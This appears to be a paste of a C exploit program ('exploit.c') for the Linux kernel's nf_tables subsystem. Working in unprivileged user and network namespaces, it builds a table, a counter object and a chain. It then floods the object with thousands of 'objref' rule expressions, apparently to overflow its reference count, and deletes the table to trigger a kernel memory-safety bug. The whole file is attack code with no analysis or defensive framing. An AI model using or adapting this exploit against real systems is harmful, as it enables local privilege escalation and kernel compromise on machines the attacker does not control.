Untitled

mail@pastecode.io avatar
unknown
plain_text
a year ago
11 kB
5
Indexable
Never
/* gcc exploit.c -no-pie -o exp -lmnl -lnftnl */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <time.h>
#include <signal.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <linux/ip.h>
#include <netinet/in.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/keyctl.h>
#include <linux/unistd.h>
#include <linux/io_uring.h>         /* contains io_uring_params for percpu_ref_data spraying */
#include <libnftnl/chain.h>
#include <libnftnl/table.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <arpa/inet.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define DEF_CORE 3
#define MAX_RULE 3 // 3

char chain_name[] = "chainA\0";
char table_name[] = "table1\0";
char obj_name[] = "obj1\0";
char set_name[] = "set1\0";

void errout(char *msg)
{
    perror(msg);
    exit(-1);
}

/* Hexdump utility for debugging purposes */
void hexdump(void *mem, unsigned int len)
{
    unsigned int i = 0, j = 0;

    for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++)
    {
        if (i % 16 == 0)
            printf("0x%06x: ", i);

        if (i < len)
            printf("%02x ", 0xFF & ((char *)mem)[i]);
        else
            printf("   ");

        if (i % 16 == (16 - 1))
        {
            for (j = i - (16 - 1); j <= i; j++)
            {
                if (j >= len)
                    putchar(' ');
                else if (isprint(((char *)mem)[j]))
                    putchar(0xFF & ((char *)mem)[j]);
                else
                    putchar('.');
            }
            putchar('\n');
        }
    }
    return;
}

static void assign_to_core(int core_id)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);
    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        errout("sched_setaffinity");
    }
}

static int setup_sandbox(void)
{
    struct rlimit fdlim;
    cpu_set_t set;
    int pid;

    assign_to_core(DEF_CORE);
    /*
       Execute ourselves in a new network namespace to
       be able to trigger and exploit the bug
    */

    /* For another user can communicate with netlink - somehow  */
    if (unshare(CLONE_NEWUSER) < 0)
    {
        perror("[-] unshare(CLONE_NEWUSER)");
        return -1;
    }

    /* Network namespaces provide isolation of the system resources */
    if (unshare(CLONE_NEWNET) < 0)
    {
        perror("[-] unshare(CLONE_NEWNET)");
        return -1;
    }

    // CPU_ZERO(&set);
    // CPU_SET(0, &set);
    // if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
    //  perror("[-] sched_setaffinity");
    //  return -1;
    // }

    return 0;
}

void create_table_chain(struct mnl_socket *nl) {
    struct mnl_nlmsg_batch *batch = NULL;
    struct nlmsghdr *nh = NULL;
    int r = 0;
    int seq = 0;
    char buf[16384] = {0};
    struct nftnl_table *table = NULL;

    assign_to_core(DEF_CORE);

    puts("[+] create_table_chain");
    table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, strdup(table_name));
    // nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size);

	/* Create obj1 to table1 */
	struct nftnl_obj *obj = nftnl_obj_alloc();
	nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
	nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
	nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);

    /* Adding chain hooking */
    struct nftnl_chain *chain2 = NULL;
    chain2 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_data(chain2, NFTNL_CHAIN_TYPE, strdup("filter"), 0);
    nftnl_chain_set_u32(chain2, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
    nftnl_chain_set_u32(chain2, NFTNL_CHAIN_PRIO, 0);

    /* ======================================================================================= */
	// /* Create set and add it to table1 */
	// struct nftnl_set *set = nftnl_set_alloc();
	// nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
	// nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
	// nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8);
	// nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
	// nftnl_set_set_u32(set, NFTNL_SET_FLAGS,
	// 		  NFT_SET_OBJECT); // NFT_SET_TIMEOUT, NFT_SET_ANONYMOUS
	// nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
	// nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13);
	// // nftnl_set_set_u64(set, NFTNL_SET_TIMEOUT, 1500);
	// // nftnl_set_set_u32(set, NFTNL_SET_GC_INTERVAL, 2000);
	// nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);

	// /* Linking set */
	// struct nftnl_set *sx = nftnl_set_alloc();
	// nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name);
	// nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));

	// /* Create set element and add set_elem into set */
	// struct nftnl_set_elem *se = NULL;
	// se = nftnl_set_elem_alloc();
	// nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, obj_name);  // obj->use = 1
	// nftnl_set_elem_set_u32(se, NFTNL_SET_ELEM_FLAGS,
	// 		       0x2); /* NFT_SET_ELEM_CATCHALL = 0x2 */
	// nftnl_set_elem_add(sx, se);  

    /* ======================================================================================= */

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // table
    nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                     NFT_MSG_NEWTABLE, NFPROTO_IPV4,
                                     NLM_F_CREATE, seq++);
    nftnl_table_nlmsg_build_payload(nh, table);
    // mnl_attr_put(nh, NFTA_TABLE_USERDATA, size, data);
    mnl_nlmsg_batch_next(batch);

	// obj
	nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
				   NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE,
				   seq++);
	nftnl_obj_nlmsg_build_payload(nh, obj);
	mnl_nlmsg_batch_next(batch);

	// // set
	// nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
	// 			       NFT_MSG_NEWSET, NFPROTO_IPV4,
	// 			       NLM_F_CREATE, seq++);
	// nftnl_set_nlmsg_build_payload(nh, set);
	// mnl_nlmsg_batch_next(batch);

	// // set element
	// nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
	// 				 NFT_MSG_NEWSETELEM, NFPROTO_IPV4,
	// 				 NLM_F_CREATE, seq++);
	// nftnl_set_elems_nlmsg_build_payload(nh, sx);
	// mnl_nlmsg_batch_next(batch);

    // chain
    nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                               NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE,
                               seq++);
    nftnl_chain_nlmsg_build_payload(nh, chain2);
    mnl_nlmsg_batch_next(batch);

    // send
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch));
    if (r < 0)
        errout("mnl_socket_sendto");

    return;

}

/* Create a netfilter table */
void create_rule_expr(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch = NULL;
    struct nlmsghdr *nh = NULL;
    int r = 0;
    int seq = 0;
    char buf[16384] = {0};
    struct nftnl_expr *expr[127] = {0};
    struct nftnl_rule *rule[MAX_RULE+1] = {0};

    assign_to_core(DEF_CORE);


    for (int j=0; j<MAX_RULE; j++) {
        /* Add nft_rule to table */
        rule[j] = nftnl_rule_alloc();
        nftnl_rule_set_str(rule[j], NFTNL_RULE_TABLE, table_name);
        nftnl_rule_set_str(rule[j], NFTNL_RULE_CHAIN, chain_name);
        nftnl_rule_set_u32(rule[j], NFTNL_RULE_FAMILY, NFPROTO_IPV4); 

        for (int i=0; i<127; i++) {
            /* Add nft_expr into nft_rule*/
            expr[i] = nftnl_expr_alloc("objref");
            nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++
            nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER);
            nftnl_rule_add_expr(rule[j], expr[i]);
        }
    }

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for (int j=0; j<MAX_RULE; j++) {
        // rule
        nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                        NFT_MSG_NEWRULE, NFPROTO_IPV4,
                                        NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nh, rule[j]);
        nftnl_rule_free(rule[j]);
        mnl_nlmsg_batch_next(batch);
    }

    // send
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch));
    if (r < 0)
        errout("mnl_socket_sendto");

    return;
}

/* Delete a netfilter table */
void delete_table(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch = NULL;
    struct nlmsghdr *nh = NULL;
    int r = 0;
    int seq = 0;
    char buf[16384] = {0};
    struct nftnl_table *table = NULL;

    assign_to_core(DEF_CORE);

    puts("[+] Delete table");
    table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);


    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // table
    nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                     NFT_MSG_DELTABLE, NFPROTO_IPV4,
                                     NLM_F_CREATE, seq++);
    nftnl_table_nlmsg_build_payload(nh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch));
    if (r < 0)
        errout("mnl_socket_sendto");

    return;
}

int main() {

    uint64_t addr_value = 0;
    struct mnl_socket *nl;
    assign_to_core(DEF_CORE);

    puts("[+] Setup namespace sandbox");
    if (setup_sandbox())
        return -1;

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (!nl)
    {
        errout("mnl_socket_open");
    }

    create_table_chain(nl);
    // 0x2b00ac
    for(int i=0; i<0x1000; i++) {
        printf("[+] create_rule_expr: 0x%lx\n", i);
        create_rule_expr(nl); // obj->use += 381
    }
    
    delete_table(nl);

    return 0;
}